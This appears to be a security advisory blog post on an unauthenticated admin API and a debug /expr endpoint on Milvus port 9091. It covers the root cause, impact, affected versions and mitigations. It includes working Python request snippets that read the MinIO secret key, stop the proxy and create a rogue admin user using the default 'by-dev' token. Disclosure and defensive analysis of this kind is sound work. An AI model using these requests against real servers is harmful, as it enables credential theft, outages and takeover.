Feb 11, 2026·6 min read·6 visits
Milvus exposes its administrative REST API and a debug console on port 9091 by default. Due to missing middleware, requests to this port bypass all authentication. Attackers can create admin users, dump credentials, or execute arbitrary code using the default `by-dev` token.
In the gold rush of the AI revolution, vector databases like Milvus have become the vaults where companies store their most precious semantic data. But while everyone was worried about prompt injection or model poisoning, Milvus accidentally left the back door wide open. A critical vulnerability in the metrics and management interface (port 9091) exposes the entire administrative REST API without authentication. Worse, a debug endpoint allows arbitrary Go expression evaluation with a hardcoded default token. This isn't just a data leak; it's a full system compromise waiting to happen.
We live in the age of RAG (Retrieval-Augmented Generation). Companies are dumping gigabytes of proprietary documents, customer chats, and trade secrets into vector databases like Milvus to make their LLMs smarter. Milvus is complex software; it has coordinators, proxies, data nodes, and query nodes. To manage this beast, it exposes various ports.
The main entrance, port 19530, handles the high-speed gRPC traffic for vector insertion and searching. This door is usually heavily guarded with authentication, TLS, and API gateways. But software needs to be observed. DevOps teams love metrics. So, Milvus provides a dedicated HTTP server for metrics and health checks on port 9091.
In theory, port 9091 should just reply with some harmless Prometheus-formatted stats. In practice, due to a copy-paste catastrophe in the initialization logic, port 9091 became a fully functional, unauthenticated administrative console. It’s the equivalent of a bank vault having a thermal exhaust port that leads directly to the main reactor—and the door is propped open with a brick.
The root cause of this vulnerability is a classic case of "Middleware Amnesia." In modern web frameworks like Gin (which Milvus uses), you define routes and then apply middleware to them. Middleware handles things like logging, rate limiting, and—crucially—authentication. If you forget to apply the middleware, the routes still work, they just stop checking ID at the door.
Inside internal/distributed/proxy/service.go, the Milvus developers set up the HTTP server. They correctly initialized the main API group. However, when setting up the metrics server (which runs on a separate port), they decided to register the same business logic handlers to it.
Why? Likely for convenience, so administrators could hit the REST API on the management port if needed. The fatal flaw was that while they copied the routes, they forgot to copy the apiv1.Use(httpserver.RequestHandlerFunc) line (or its equivalent auth check) to the metrics server context. This means GET /api/v1/collection on port 19530 asks for a password, but the exact same request on port 9091 rolls out the red carpet.
Let's look at the smoking gun in internal/distributed/proxy/service.go. This is where the Proxy service spins up its HTTP listeners.
// registerHTTPServer register the http server
func (s *Server) registerHTTPServer() {
// ... setup code ...
metricsGinHandler := gin.Default()
// 1. Create the API group on the METRICS handler
apiv1 := metricsGinHandler.Group(apiPathPrefix)
// 2. Register the business logic handlers
handlers := httpserver.NewHandlers(s.proxy)
handlers.RegisterRoutesTo(apiv1)
// 3. Register the Proxy REST router
if p, ok := s.proxy.(*proxy.Proxy); ok {
p.RegisterRestRouter(apiv1)
}
// 4. Bind this handler to the metrics server
mhttp.Register(&mhttp.Handler{
Path: mhttp.RootPath,
Handler: metricsGinHandler.Handler(),
})
}Notice what is missing? There is no authentication middleware attached to apiv1. In the standard HTTP server initialization function (not shown here, but present in the codebase), there is explicit logic that checks Params.ProxyCfg.AuthorizationEnabled and enforces token validation. Here, on the metrics path, the code simply mounts the full RegisterRoutesTo(apiv1) router directly to the open web.
If the unauthenticated API wasn't bad enough, Milvus includes a debug endpoint located at /expr. This endpoint allows the caller to evaluate arbitrary internal Go expressions. Yes, you read that right. It's essentially a web-based eval() for the running Go process.
Access to this endpoint is theoretically restricted by an auth parameter. However, the default value for this check is derived from etcd.rootPath. In almost every default installation, and in the Docker Compose examples provided by Milvus, this value is set to by-dev.
So, we have an unauthenticated Remote Code Execution (or at least Remote Configuration Execution) primitive. Here is how an attacker creates a "Kill Chain":
/expr to read the global configuration memory. They can extract the MinIO SecretAccessKey (used for S3 storage) and the root user's password hash.requests.get("http://target:9091/expr", params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
})requests.get("http://target:9091/expr", params={
"auth": "by-dev",
"code": "proxy.Stop()"
})requests.post("http://target:9091/api/v1/credential", json={
"username": "apt_group",
"password": "base64_encoded_payload"
})The impact here is catastrophic for any organization running Milvus exposed to the internet or an untrusted internal network. Because Milvus is a vector database, it holds the meaning of your data.
Data Theft: An attacker can simply list all collections and query the vectors. If they have the MinIO keys (which they can get via /expr), they can bypass Milvus entirely and download the raw data segments from your object storage bucket.
Data Poisoning: In a RAG context, poisoning the vector store is a subtle and dangerous attack. An attacker could insert vectors that are semantically close to common queries but contain malicious or incorrect data. This forces the downstream LLM to hallucinate or provide harmful responses to users.
Infrastructure Compromise: The /expr endpoint can theoretically be used to modify file paths for logging. If an attacker can trick the server into writing logs to a script file (e.g., a web shell or a cron job location), they can achieve full OS-level Remote Code Execution.
If you are running Milvus versions prior to 2.5.27 or 2.6.10, you are vulnerable. The patch applied by the maintainers simply removes the registration of the API router and the debug endpoint from the metrics port.
Immediate Steps:
etcd.rootPath in your configuration from by-dev to a random high-entropy string. This acts as the password for the /expr endpoint if it is ever accidentally exposed again.> [!NOTE] > Many Kubernetes deployments expose the metrics port via a Service for monitoring. Ensure your Ingress controller does NOT route external traffic to port 9091.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Milvus LF AI & Data | < 2.5.27 | 2.5.27 |
Milvus LF AI & Data | >= 2.6.0, < 2.6.10 | 2.6.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 (Missing Authentication for Critical Function) |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network (Port 9091) |
| Secondary Weakness | CWE-1188 (Insecure Default Initialization of Resource) |
| Exploit Status | PoC Available / High Reliability |
| Default Token | auth=by-dev |
The software does not perform any authentication for functionality that requires a provable user identity.